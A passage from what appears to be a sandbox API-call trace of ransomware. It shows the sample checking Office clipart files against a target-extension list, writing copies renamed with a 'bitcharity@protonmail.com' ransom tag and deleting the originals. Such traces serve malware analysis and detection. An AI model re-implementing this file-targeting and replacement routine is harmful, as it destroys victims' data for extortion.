(lpString=".jpg") returned 4 [0296.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.175] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.175] lstrlenW (lpString="DD01172_.WMF") returned 12 [0296.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.175] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2232) returned 1 [0296.175] CloseHandle (hObject=0x109c) returned 1 [0296.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0296.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.176] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.176] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0296.177] GetLastError () returned 0x0 [0296.177] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x8b8, lpOverlapped=0x0) returned 1 [0296.278] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x8c0, lpOverlapped=0x0) returned 1 [0296.278] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.278] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.279] SetEndOfFile (hFile=0x10c0) returned 1 [0296.279] CloseHandle (hObject=0x10c0) returned 1 [0296.279] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.279] SetEndOfFile (hFile=0x109c) returned 1 [0296.280] CloseHandle (hObject=0x109c) returned 1 [0296.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0296.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.280] lstrlenW (lpString=".doc") returned 4 [0296.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.280] lstrlenW (lpString=".docx") returned 5 [0296.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.280] lstrlenW (lpString=".pdf") returned 4 [0296.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.280] lstrlenW (lpString=".xls") returned 4 [0296.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.280] lstrlenW (lpString=".xlsx") returned 5 [0296.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.280] lstrlenW (lpString=".ppt") returned 4 [0296.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.281] lstrlenW (lpString=".zip") returned 4 [0296.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.281] lstrlenW (lpString=".rar") returned 4 [0296.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.281] lstrlenW (lpString=".bz2") returned 4 [0296.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.281] lstrlenW (lpString=".7z") returned 3 [0296.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.281] lstrlenW (lpString=".dbf") returned 4 [0296.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.281] lstrlenW (lpString=".1cd") returned 4 [0296.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.281] lstrlenW (lpString=".jpg") returned 4 [0296.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.281] lstrlenW (lpString=".doc") returned 4 [0296.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.281] lstrlenW (lpString=".docx") returned 5 [0296.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.281] lstrlenW (lpString=".pdf") returned 4 [0296.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.281] lstrlenW (lpString=".xls") returned 4 [0296.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.281] lstrlenW (lpString=".xlsx") returned 5 [0296.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.281] lstrlenW (lpString=".ppt") returned 4 [0296.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.281] lstrlenW (lpString=".zip") returned 4 [0296.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.282] lstrlenW (lpString=".rar") returned 4 [0296.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.282] lstrlenW (lpString=".bz2") returned 4 [0296.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.282] lstrlenW (lpString=".7z") returned 3 [0296.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.282] lstrlenW (lpString=".dbf") returned 4 [0296.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.282] lstrlenW (lpString=".1cd") returned 4 [0296.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0296.282] lstrlenW (lpString=".jpg") returned 4 [0296.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.282] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.282] lstrlenW (lpString="DD01179_.WMF") returned 12 [0296.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.283] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2024) returned 1 [0296.283] CloseHandle (hObject=0x109c) returned 1 [0296.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0296.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.283] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.283] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0296.284] GetLastError () returned 0x0 [0296.284] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x7e8, lpOverlapped=0x0) returned 1 [0296.309] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x7f0, lpOverlapped=0x0) returned 1 [0296.310] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.310] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.310] SetEndOfFile (hFile=0x10c0) returned 1 [0296.320] CloseHandle (hObject=0x10c0) returned 1 [0296.320] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.320] SetEndOfFile (hFile=0x109c) returned 1 [0296.320] CloseHandle (hObject=0x109c) returned 1 [0296.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0296.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.323] lstrlenW (lpString=".doc") returned 4 [0296.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.323] lstrlenW (lpString=".docx") returned 5 [0296.323] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.323] lstrlenW (lpString=".pdf") returned 4 [0296.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.323] lstrlenW (lpString=".xls") returned 4 [0296.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.323] lstrlenW (lpString=".xlsx") returned 5 [0296.323] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.323] lstrlenW (lpString=".ppt") returned 4 [0296.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.323] lstrlenW (lpString=".zip") returned 4 [0296.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.323] lstrlenW (lpString=".rar") returned 4 [0296.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.323] lstrlenW (lpString=".bz2") returned 4 [0296.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.323] lstrlenW (lpString=".7z") returned 3 [0296.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.323] lstrlenW (lpString=".dbf") returned 4 [0296.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.324] lstrlenW (lpString=".1cd") returned 4 [0296.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.324] lstrlenW (lpString=".jpg") returned 4 [0296.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.324] lstrlenW (lpString=".doc") returned 4 [0296.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.324] lstrlenW (lpString=".docx") returned 5 [0296.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.324] lstrlenW (lpString=".pdf") returned 4 [0296.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.324] lstrlenW (lpString=".xls") returned 4 [0296.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.324] lstrlenW (lpString=".xlsx") returned 5 [0296.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.324] lstrlenW (lpString=".ppt") returned 4 [0296.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.324] lstrlenW (lpString=".zip") returned 4 [0296.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.324] lstrlenW (lpString=".rar") returned 4 [0296.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.324] lstrlenW (lpString=".bz2") returned 4 [0296.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.324] lstrlenW (lpString=".7z") returned 3 [0296.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.324] lstrlenW (lpString=".dbf") returned 4 [0296.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.325] lstrlenW (lpString=".1cd") returned 4 [0296.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0296.325] lstrlenW (lpString=".jpg") returned 4 [0296.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.325] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.325] lstrlenW (lpString="DD01182_.WMF") returned 12 [0296.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.325] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2996) returned 1 [0296.325] CloseHandle (hObject=0x109c) returned 1 [0296.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0296.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.326] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.326] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0296.326] GetLastError () returned 0x0 [0296.326] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xbb4, lpOverlapped=0x0) returned 1 [0296.472] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xbc0, lpOverlapped=0x0) returned 1 [0296.473] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.473] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.473] SetEndOfFile (hFile=0x10c0) returned 1 [0296.473] CloseHandle (hObject=0x10c0) returned 1 [0296.473] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.473] SetEndOfFile (hFile=0x109c) returned 1 [0296.474] CloseHandle (hObject=0x109c) returned 1 [0296.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0296.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.474] lstrlenW (lpString=".doc") returned 4 [0296.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.474] lstrlenW (lpString=".docx") returned 5 [0296.474] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.474] lstrlenW (lpString=".pdf") returned 4 [0296.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.475] lstrlenW (lpString=".xls") returned 4 [0296.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.475] lstrlenW (lpString=".xlsx") returned 5 [0296.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.475] lstrlenW (lpString=".ppt") returned 4 [0296.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.475] lstrlenW (lpString=".zip") returned 4 [0296.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.475] lstrlenW (lpString=".rar") returned 4 [0296.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.475] lstrlenW (lpString=".bz2") returned 4 [0296.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.475] lstrlenW (lpString=".7z") returned 3 [0296.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.475] lstrlenW (lpString=".dbf") returned 4 [0296.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.475] lstrlenW (lpString=".1cd") returned 4 [0296.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.475] lstrlenW (lpString=".jpg") returned 4 [0296.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.475] lstrlenW (lpString=".doc") returned 4 [0296.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.475] lstrlenW (lpString=".docx") returned 5 [0296.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.475] lstrlenW (lpString=".pdf") returned 4 [0296.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.475] lstrlenW (lpString=".xls") returned 4 [0296.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.475] lstrlenW (lpString=".xlsx") returned 5 [0296.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.475] lstrlenW (lpString=".ppt") returned 4 [0296.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.476] lstrlenW (lpString=".zip") returned 4 [0296.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.476] lstrlenW (lpString=".rar") returned 4 [0296.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.476] lstrlenW (lpString=".bz2") returned 4 [0296.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.476] lstrlenW (lpString=".7z") returned 3 [0296.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.476] lstrlenW (lpString=".dbf") returned 4 [0296.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.476] lstrlenW (lpString=".1cd") returned 4 [0296.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0296.476] lstrlenW (lpString=".jpg") returned 4 [0296.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.476] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.476] lstrlenW (lpString="DD01434_.WMF") returned 12 [0296.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft 